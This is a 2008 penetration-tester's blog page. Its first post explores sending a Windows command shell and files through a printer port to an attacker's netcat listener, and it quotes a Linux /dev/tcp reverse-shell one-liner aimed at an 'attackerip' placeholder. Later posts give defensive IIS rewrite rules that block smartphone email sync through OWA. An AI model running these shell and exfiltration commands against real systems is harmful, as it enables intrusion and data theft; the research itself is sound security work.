Welcome to In Depth Defense. In Depth Defense LLC is a privately owned Information Security Consulting company owned and operated by Mark Baggett. In Depth Defense specializes in Penetration Testing and Incident Response. At this time In Depth Defense is not accepting any new client work, but we are happy to speak to you and point you to other resources in the community.

Mark Baggett has been active in Information Security for 18+ years. I've served in a variety of roles from software developer to CISO. You can find archives of older blog entries below and read my newer posts on http://www.pauldotcom.com, http://isc.sans.edu and http://pen-testing.sans.org








Monday, April 28, 2008

Shoveling windows shell over printer ports!?

Intrigued by the recent discussion of shoveling shells with native commands in linux, I wondered how you might do that in windows. However, I've found the lack of a /dev/tcp equivalent device makes IO redirection to the network a bit difficult to overcome. No answer yet, but here is an approach that may work. Good old COMMAND.COM might hold the answer. Lets take a look at the options.

C:\WINDOWS>command.com /?
Starts a new instance of the MS-DOS command interpreter.

COMMAND [[drive:]path] [device] [/E:nnnnn] [/P] [/C string] [/MSG]

[drive:]path Specifies the directory containing COMMAND.COM file.
device Specifies the device to use for command input and output.
/E:nnnnn Sets the initial environment size to nnnnn bytes.
/P Makes the new command interpreter permanent (can't exit).
/C string Carries out the command specified by string, and then stops.
/MSG Specifies that all error messages be stored in memory. You
need to specify /P with this switch.


DEVICE to use for INPUT OUTPUT!!! That sounds promising. Lets setup a Bidirectional LPT port pointing to a TCPIP address and BAMM!!! Shoveled a shell.   Of course for it to work we will have to be able to completely setup the printer from the command line. That shouldn't be to hard PRNPORT.VBS, PRNMNGR.VBS and NET SHARE should get the printer setup and shared.  All of which are part of the standard XP installation.

Here is what PRNMNGR looks like to list the print queues.

C:\WINDOWS\system32>cscript prnmngr.vbs -l
Microsoft (R) Windows
Script Host Version 5.6
Copyright (C) Microsoft Corporation 1996-2001. All rights reserved.

Server name
Printer name IPLOC
Share name IPt
Driver name HP LaserJet 4 Plus
Port name IPLOC
Comment Standard TCPIP port pointing to Attackers Netcat Listener
Location
Print processor WinPrint
Data type RAW
Parameters
Attributes 2634
Priority 1
Default priority 0
Status Unknown
Average pages per minute 0

Setup the printer and then capture the LPT port with NET USE

NET USE LPT1 \\127.0.0.1\[SHARENAME]

REVIEW:
So command.com has IO redirection to LPT1. LPT1 is mapped to shared localhost printer. The printer has a GENERIC TEXT driver and uses a Bidirectional RAW Standard TCP Printer Port.
The TCP Port points to the remote NETCAT listener on the port of your choosing.  80 is always good.

You can now move files to the remote netcat listener via the LPT port like this:

COPY [FILENAME] LPT1

or have a netcat like Chat session

COPY CON LPT1

Hit [CONTROL Z] when done typing the text to send. But POTENTIALLY coolest of all is the use of the command.com device.

command.com LPT1 /c dir

will shovel the output through the LPT port to the netcat listener.  This is potentially very useful in a penetration test, but its only one way.   We really want a bidirectional interactive shell.

So we try "Command.com LPT1", but no such luck.  The output spools, the remote input makes it to the host, but it isn't being processed.  It may be the spooler or the print processor, but somthing is stomping on the communications.   If I configure the printer to not use the spooler I don't get anything. I'll have to look later. Here is a print screen that shows a Netcat Listener on a MAC sending commands to the COMMAND.COM listener on the windows machine. You can see where ethereal captured the text going to the COMMAN.COM Listener! Pretty close!!!









"command.com LPT1 /p dir"  is interesting also.  You get the results shoveled to the remote listener, then an error message about the vdm redirector is also shoveled.  

Next Steps:

For now I plan to bypass the Windows spooler and setup the printer on the linux host.   The goal is to setup an SMB->Netcat IO handler on Linux. It will appear to the windows victim as a shared printer. Then the only thing to happen on the windows side is "NET USE LPT1 \\[attacker ip]\[shared netcat listener]" followed by "command.com LPT1". Ill look to native commands in linux first to see if I can find some way to share netcat. It doesn't actually require netcat on the linux side. Really we are just trying to share STDIO.  I maybe able to do this with just a SAMBA shared printer and replacing the print handler with NETCAT and/or some MKNOD magic.   If I cant find something I'll code something in Ruby using Metasploits prebuilt SMB objects. Of course, using this technique we lose the ability to pick an arbitrary remote port and have to have SMB access to the client.   I imagine the entire thing could be implemented as a Metasploit framework payload.   

BTW:  My favorite linux favor of this is from Ed Skoudis' presentation on netcat without netcat ... /bin/bash -i > /dev/tcp/attackerip/port of choosing 0<&1 2>&1

Tuesday, April 22, 2008

OWA - A GAPING HOLE IN YOUR FIREWALL

Blocking Personal Blackberrys storing corporate emails

O
ne of the many reason to have a BES (Blackberry Enterprise Server) to protect your corporate email is so you can wipe any blackberry device in the event that it is lost.    These devices often contain sensitive email so password protection, encryption, policy enforcement and remote wipe is well worth the investment in BES.      BES installed, problem solved!   Right?    Check the IIS logs on your Outlook Web Access server.  You may find unauthorized Blackberry and other smart phones are synchronizing email using WEBDAV.    Using OWA they can store corporate emails and you have no way to wipe the data when the devices lost.   This DOES NOT require RPC over HTTP be enabled on your OWA server and its not just blackberrys and smart phones.   Desktop clients such as Entourage can also use WEBDAV to sync email to a home computer.  
No firewall, No antivirus and all those sensitive email on their home machines.   Scared yet?   If this is a problem for you, the only REAL fix is to turn off OWA.  But, that is a tough pill to swallow. Here is a possible alternative.   

Check your IIS logs and you'll see entries like this..

008-04-22 16:48:25 W3SVC1 127.0.0.1 POST /exchange/username/##emailname##/ - 443 username 127.0.0.1 BWC/Worker/1.0 200 0 0

2008-04-21 13:35:22 W3SVC1 127.0.0.1 BMOVE /exchange/firstname.lastname/Inbox/ - 443 firstname.lastname 127.0.0.1 BWC+Engine+/2.0 207 0 0

Here you can see an unauthorized blackberry copying emails to the handhelds through the Outlook Interface.   The BWC+Engine is the User-Agent used by the Blackberry email client.  You may also have some of these...

2008-04-20 23:06:40 W3SVC1 127.0.0.1 POST /Microsoft-Server-ActiveSync Cmd=Get
ItemEstimate&User=jusername&DeviceId=PLMOx8xxxx0&DeviceType=PalmOneTreoAce&
Log=V4XXX:0AXXXX:0XXXXD0SP:1XXXXXXXH0P 443 username 127.0.0.1 PalmOne-TreoAce/2.01m01 200 0 0

2008-04-20 23:42:13 W3SVC1 127.0.0.1 OPTIONS /Microsoft-Server-ActiveSync User
=username&DeviceId=2F8xxxxxxxxxxx&DeviceType=SmartPhone&
Log=VNAXXX:0XXXXX:0A0XXXXX:0C0XXXXXXXH 443 username 127.0.0.1 MSFT-SPhone/5.2.203 200 0 0

If your goal is to keep personal device from synchronizing over Outlook Web Access you will want to block those also.

So how to you block specific User-Agent strings on IIS?  Pretty simple in Apache right?  Not so much on IIS.  You may think (as I did) that you can use URLSCAN.  It has this [DenyHeaders] section which allows you to specify a User-Agent.  That doesnt' work.   It will allow you to block any web request that has a User-Agent (Yeah.. All of them), but not a specific User-Agent.  Thank for nothing Microsoft!   So how then?  You can use a third party ISAPI filter that implements Apache Mod Rewrite functionality on IIS.   You can download ISAPI REWRITE from http://www.isapirewrite.com   There is a LITE and a FULL version available for download at the site.   The LITE version is free and it will work for many of the OWA implementations.  Here is the configuration file to use to block User-Agents for Blackberry, PalmTrio, Microsoft Smart Phones, and Avant Go.

RewriteEngine  on
#Block Blackberry and other smartphones
RewriteCond %{
HTTP:User-Agent}  (?:BWC.Worker.*|BWC.Engine.*|MSFT-SPhone.*|PalmOne-TreoAce.*|AvantGO.*) [NC]  
RewriteRule .? -  [F,L]
  


This takes care of all of the Microsoft Smart Phones, Palm Treo's and AvantGo users.   In my testing it also breaks the functionality on the Blackberries.  However, Blackberries which use BIS still make requests with IE user agents strings which are not blocked.   The BIS service uses multiple user agents including IE and the BWC agents.  You can block the BIS address ranges from reaching OWA at your firewall.  Those ranges are: 

  • 206.53.144.0 - 206.53.159.255
  • 216.9.240.0 - 216.9.255.255
  • 67.233.64.0 - 67.223.95.255

  • I found these on Bill Warnke's blog.   Here
    Blackberry posts their ranges in this article.

    Continue to review your IIS logs to watch for other User-Agents.   The following unix commands will show you all the User-Agents accessing your system.

    cat \windows\system32\logfiles\w3svc1\* | awk '{print $11}' | sort | uniq

    Wednesday, April 2, 2008

    Effectiveness of Antivirus

    I finished and published my white paper on the Effectiveness (or lack there of) of Antivirus software in detecting metasploit payloads. Check it out..

    http://www.sans.org/reading_room/whitepapers/casestudies/2134.php

    More to the SANS shirt

    DRAT. That wasn't it. As soon as I reread my own entry I saw the "45 00..." and recognized it as the tell sign of an IP packet header. Wrap it in a Ethernet frame and you find its an UDP packet DNS query to http://www.sans.org/





    Subscribe